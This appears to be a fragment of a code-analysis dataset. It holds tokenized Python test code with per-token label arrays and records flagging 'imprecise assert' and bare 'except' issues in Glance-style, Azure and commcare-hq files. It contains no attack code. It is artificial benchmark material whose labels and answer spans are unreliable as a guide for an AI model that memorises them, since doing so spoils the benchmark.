"\\u\\u\\uNEWLINE\\u\\u\\u_",
"extra",
"\\u",
"fixture_",
"=_",
"{_",
"'",
"id",
"'_",
":_",
"UU",
"ID",
"3_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"status",
"'_",
":_",
"'",
"active",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"is",
"\\u",
"public",
"'_",
":_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"disk",
"\\u",
"format",
"'_",
":_",
"'",
"vhd",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"container",
"\\u",
"format",
"'_",
":_",
"'",
"ov",
"f",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"name",
"'_",
":_",
"'",
"fake",
" ",
"image",
" ",
"#",
"3",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"size",
"'_",
":_",
"18_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"checks",
"um",
"'_",
":_",
"None_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"db",
"\\u",
"api_",
"._",
"image",
"\\u",
"create_",
"(_",
"self_",
"._",
"context_",
",_",
"extra",
"\\u",
"fixture_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"db",
"\\u",
"api_",
"._",
"image",
"\\u",
"destroy_",
"(_",
"self_",
"._",
"context_",
",_",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"UU",
"ID",
"4_",
"=_",
"\\u",
"gen",
"\\u",
"uuid_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"extra",
"\\u",
"fixture_",
"=_",
"{_",
"'",
"id",
"'_",
":_",
"UU",
"ID",
"4_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"status",
"'_",
":_",
"'",
"active",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"is",
"\\u",
"public",
"'_",
":_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"disk",
"\\u",
"format",
"'_",
":_",
"'",
"ami",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"container",
"\\u",
"format",
"'_",
":_",
"'",
"ami",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"name",
"'_",
":_",
"'",
"fake",
" ",
"image",
" ",
"#",
"4",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"size",
"'_",
":_",
"20_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"checks",
"um",
"'_",
":_",
"None_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"created",
"\\u",
"at",
"'_",
":_",
"dt",
"3_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"update",
"d\\u",
"at",
"'_",
":_",
"dt",
"3_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"db",
"\\u",
"api_",
"._",
"image",
"\\u",
"create_",
"(_",
"self_",
"._",
"context_",
",_",
"extra",
"\\u",
"fixture_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Check",
" ",
"a",
" ",
"standard",
" ",
"list",
",",
" ",
"4",
" ",
"images",
" ",
"in",
" ",
"db",
" ",
"(",
"2",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images",
"\\u",
"detailed",
"_",
"(_",
"filters_",
"=_",
"{_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"0_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"1_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Expect",
" ",
"3",
" ",
"images",
" ",
"(",
"1",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"filters_",
"=_",
"{_",
"'",
"change",
"s",
"-",
"sinc",
"e",
"'_",
":_",
"iso",
"1_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images_",
"(_",
"filters_",
"=_",
"filters_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"0_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"1_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"3_",
")_",
"#",
" ",
"deleted_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"2_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Expect",
" ",
"1",
" ",
"images",
" ",
"(",
"0",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"filters_",
"=_",
"{_",
"'",
"change",
"s",
"-",
"sinc",
"e",
"'_",
":_",
"iso",
"2_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images",
"\\u",
"detailed",
"_",
"(_",
"filters_",
"=_",
"filters_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"0_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Expect",
" ",
"0",
" ",
"images",
" ",
"(",
"0",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"filters_",
"=_",
"{_",
"'",
"change",
"s",
"-",
"sinc",
"e",
"'_",
":_",
"iso",
"4_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images_",
"(_",
"filters_",
"=_",
"filters_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Client_",
"(_",
"base_",
"._",
"Isolat",
"ed",
"Unit",
"Test_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"image",
"\\u",
"deta",
"il",
"s",
"\\u",
"with",
"\\u",
"change",
"s",
"\\u",
"since_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Test",
"s",
" ",
"tha",
"t",
" ",
"a",
" ",
"detailed",
" ",
"call",
" ",
"can",
" ",
"be",
" ",
"filter",
"ed",
" ",
"by",
" ",
"size",
"\\u",
"min",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"dt",
"1_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"-_",
"datetime_",
"._",
"timedelta_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"1_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"dt",
"2_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"+_",
"datetime_",
"._",
"timedelta_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"2_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"dt",
"3_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"+_",
"datetime_",
"._",
"timedelta_",
"(_",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"3_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"dt",
"4_",
"=_",
"datetime_",
"._",
"datetime_",
"._",
"utcnow_",
"(_",
")_",
"+_",
"datetime_",
"._",
"timedelta_",
"(_",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"iso",
"4_",
"=_",
"utils_",
"._",
"isot",
"ime_",
"(_",
"dt",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"UU",
"ID",
"3_",
"=_",
"\\u",
"gen",
"\\u",
"uuid_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"extra",
"\\u",
"fixture_",
"=_",
"{_",
"'",
"id",
"'_",
":_",
"UU",
"ID",
"3_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"status",
"'_",
":_",
"'",
"active",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"is",
"\\u",
"public",
"'_",
":_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"disk",
"\\u",
"format",
"'_",
":_",
"'",
"vhd",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"container",
"\\u",
"format",
"'_",
":_",
"'",
"ov",
"f",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"name",
"'_",
":_",
"'",
"fake",
" ",
"image",
" ",
"#",
"3",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"size",
"'_",
":_",
"18_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"checks",
"um",
"'_",
":_",
"None_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"db",
"\\u",
"api_",
"._",
"image",
"\\u",
"create_",
"(_",
"self_",
"._",
"context_",
",_",
"extra",
"\\u",
"fixture_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"db",
"\\u",
"api_",
"._",
"image",
"\\u",
"destroy_",
"(_",
"self_",
"._",
"context_",
",_",
"UU",
"ID",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"UU",
"ID",
"4_",
"=_",
"\\u",
"gen",
"\\u",
"uuid_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"extra",
"\\u",
"fixture_",
"=_",
"{_",
"'",
"id",
"'_",
":_",
"UU",
"ID",
"4_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"status",
"'_",
":_",
"'",
"active",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"is",
"\\u",
"public",
"'_",
":_",
"True_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"disk",
"\\u",
"format",
"'_",
":_",
"'",
"ami",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"container",
"\\u",
"format",
"'_",
":_",
"'",
"ami",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"name",
"'_",
":_",
"'",
"fake",
" ",
"image",
" ",
"#",
"4",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"size",
"'_",
":_",
"20_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"checks",
"um",
"'_",
":_",
"None_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"created",
"\\u",
"at",
"'_",
":_",
"dt",
"3_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"update",
"d\\u",
"at",
"'_",
":_",
"dt",
"3_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"db",
"\\u",
"api_",
"._",
"image",
"\\u",
"create_",
"(_",
"self_",
"._",
"context_",
",_",
"extra",
"\\u",
"fixture_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Check",
" ",
"a",
" ",
"standard",
" ",
"list",
",",
" ",
"4",
" ",
"images",
" ",
"in",
" ",
"db",
" ",
"(",
"2",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images",
"\\u",
"detailed",
"_",
"(_",
"filters_",
"=_",
"{_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"0_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"1_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Expect",
" ",
"3",
" ",
"images",
" ",
"(",
"1",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"filters_",
"=_",
"{_",
"'",
"change",
"s",
"-",
"sinc",
"e",
"'_",
":_",
"iso",
"1_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images_",
"(_",
"filters_",
"=_",
"filters_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"0_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"1_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"3_",
")_",
"#",
" ",
"deleted_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"2_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Expect",
" ",
"1",
" ",
"images",
" ",
"(",
"0",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"filters_",
"=_",
"{_",
"'",
"change",
"s",
"-",
"sinc",
"e",
"'_",
":_",
"iso",
"2_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images",
"\\u",
"detailed",
"_",
"(_",
"filters_",
"=_",
"filters_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"images_",
"[_",
"0_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
",_",
"UU",
"ID",
"4_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Expect",
" ",
"0",
" ",
"images",
" ",
"(",
"0",
" ",
"delete",
"d",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"filters_",
"=_",
"{_",
"'",
"change",
"s",
"-",
"sinc",
"e",
"'_",
":_",
"iso",
"4_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"images_",
"=_",
"self_",
"._",
"client_",
"._",
"get",
"\\u",
"images_",
"(_",
"filters_",
"=_",
"filters_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"len_",
"(_",
"images_",
")_",
",_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Imprecise assert | Azure/azure-sdk-for-python/azure-servicemanagement-legacy/tests/test_legacy_mgmt_servicebus.py | [
{
"content": " @record\n def test_get_regions(self):\n # Arrange\n\n # Act\n result = self.sms.get_regions()\n\n # Assert\n self.assertIsNotNone(result)\n self.assertTrue(len(result) > 0)\n for region in result:\n self.assertTrue(len(region.code) > 0)\n self.assertTrue(len(region.fullname) > 0)",
"metadata": "root.LegacyMgmtServiceBusTest.test_get_regions",
"header": "['class', 'LegacyMgmtServiceBusTest', '(', 'LegacyMgmtTestCase', ')', ':', '___EOS___']",
"index": 68
},
{
"content": " @record\n def test_list_namespaces(self):\n # Arrange\n\n # Act\n result = self.sms.list_namespaces()\n\n # Assert\n self.assertIsNotNone(result)\n self.assertTrue(len(result) > 0)\n for ns in result:\n self.assertTrue(len(ns.name) > 0)\n self.assertTrue(len(ns.region) > 0)",
"metadata": "root.LegacyMgmtServiceBusTest.test_list_namespaces",
"header": "['class', 'LegacyMgmtServiceBusTest', '(', 'LegacyMgmtTestCase', ')', ':', '___EOS___']",
"index": 82
}
]
| [
{
"span": "self.assertTrue(len(result) > 0)",
"start_line": 77,
"start_column": 8,
"end_line": 77,
"end_column": 40
},
{
"span": "self.assertTrue(len(region.code) > 0)",
"start_line": 79,
"start_column": 12,
"end_line": 79,
"end_column": 49
},
{
"span": "self.assertTrue(len(region.fullname) > 0)",
"start_line": 80,
"start_column": 12,
"end_line": 80,
"end_column": 53
},
{
"span": "self.assertTrue(len(result) > 0)",
"start_line": 91,
"start_column": 8,
"end_line": 91,
"end_column": 40
},
{
"span": "self.assertTrue(len(ns.name) > 0)",
"start_line": 93,
"start_column": 12,
"end_line": 93,
"end_column": 45
},
{
"span": "self.assertTrue(len(ns.region) > 0)",
"start_line": 94,
"start_column": 12,
"end_line": 94,
"end_column": 47
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"Leg",
"ac",
"y",
"Mgmt",
"Service",
"Bus",
"Test_",
"(_",
"Leg",
"ac",
"y",
"Mgmt",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"record_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"test\\u",
"get",
"\\u",
"regions_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Arr",
"ange_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Act_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"result_",
"=_",
"self_",
"._",
"sms_",
"._",
"get",
"\\u",
"regions_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Assert_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Is",
"Not",
"None_",
"(_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"result_",
")_",
">_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"region_",
"in_",
"result_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"region_",
"._",
"code_",
")_",
">_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"region_",
"._",
"fullname_",
")_",
">_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Leg",
"ac",
"y",
"Mgmt",
"Service",
"Bus",
"Test_",
"(_",
"Leg",
"ac",
"y",
"Mgmt",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"record_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"test\\u",
"list",
"\\u",
"namespaces_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Arr",
"ange_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Act_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"result_",
"=_",
"self_",
"._",
"sms_",
"._",
"list",
"\\u",
"namespaces_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Assert_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Is",
"Not",
"None_",
"(_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"result_",
")_",
">_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"ns_",
"in_",
"result_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"ns_",
"._",
"name_",
")_",
">_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"ns_",
"._",
"region_",
")_",
">_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Except block handles 'BaseException' | dimagi/commcare-hq/corehq/apps/sms/views.py | [
{
"content": "def get_contact_info(domain):\n # If the data has been cached, just retrieve it from there\n cache_key = 'sms-chat-contact-list-%s' % domain\n cache_expiration = 30 * 60\n try:\n client = cache_core.get_redis_client()\n cached_data = client.get(cache_key)\n if cached_data:\n return json.loads(cached_data)\n except:\n pass\n\n verified_number_ids = VerifiedNumber.by_domain(domain, ids_only=True)\n domain_obj = Domain.get_by_name(domain, strict=True)\n case_ids = []\n mobile_worker_ids = []\n data = []\n for doc in iter_docs(VerifiedNumber.get_db(), verified_number_ids):\n owner_id = doc['owner_id']\n if doc['owner_doc_type'] == 'CommCareCase':\n case_ids.append(owner_id)\n data.append([\n None,\n 'case',\n doc['phone_number'],\n owner_id,\n doc['_id'],\n ])\n elif doc['owner_doc_type'] == 'CommCareUser':\n mobile_worker_ids.append(owner_id)\n data.append([\n None,\n 'mobile_worker',\n doc['phone_number'],\n owner_id,\n doc['_id'],\n ])\n contact_data = get_case_contact_info(domain_obj, case_ids)\n contact_data.update(get_mobile_worker_contact_info(domain_obj, mobile_worker_ids))\n for row in data:\n contact_info = contact_data.get(row[3])\n row[0] = contact_info[0] if contact_info else _('(unknown)')\n\n # Save the data to the cache for faster lookup next time\n try:\n client.set(cache_key, json.dumps(data))\n client.expire(cache_key, cache_expiration)\n except:\n pass\n\n return data",
"metadata": "root.get_contact_info",
"header": "['module', '___EOS___']",
"index": 630
},
{
"content": " @quickcache(['user_id'], timeout=60 * 60, memoize_timeout=5 * 60)\n def get_chat_user_name(self, user_id):\n if not user_id:\n return _(\"System\")\n\n try:\n user = CouchUser.get_by_user_id(user_id)\n return user.first_name or user.raw_username\n except:\n return _(\"Unknown\")",
"metadata": "root.ChatMessageHistory.get_chat_user_name",
"header": "['class', 'ChatMessageHistory', '(', 'View', ',', 'DomainViewMixin', ')', ':', '___EOS___']",
"index": 801
},
{
"content": " def get(self, request, *args, **kwargs):\n if not self.contact:\n return HttpResponse('[]')\n\n data, last_sms = self.get_response_data(request.couch_user.get_id)\n if last_sms:\n try:\n self.update_last_read_message(request.couch_user.get_id, last_sms)\n except:\n notify_exception(request, \"Error updating last read message for %s\" % last_sms.pk)\n\n return HttpResponse(json.dumps(data))",
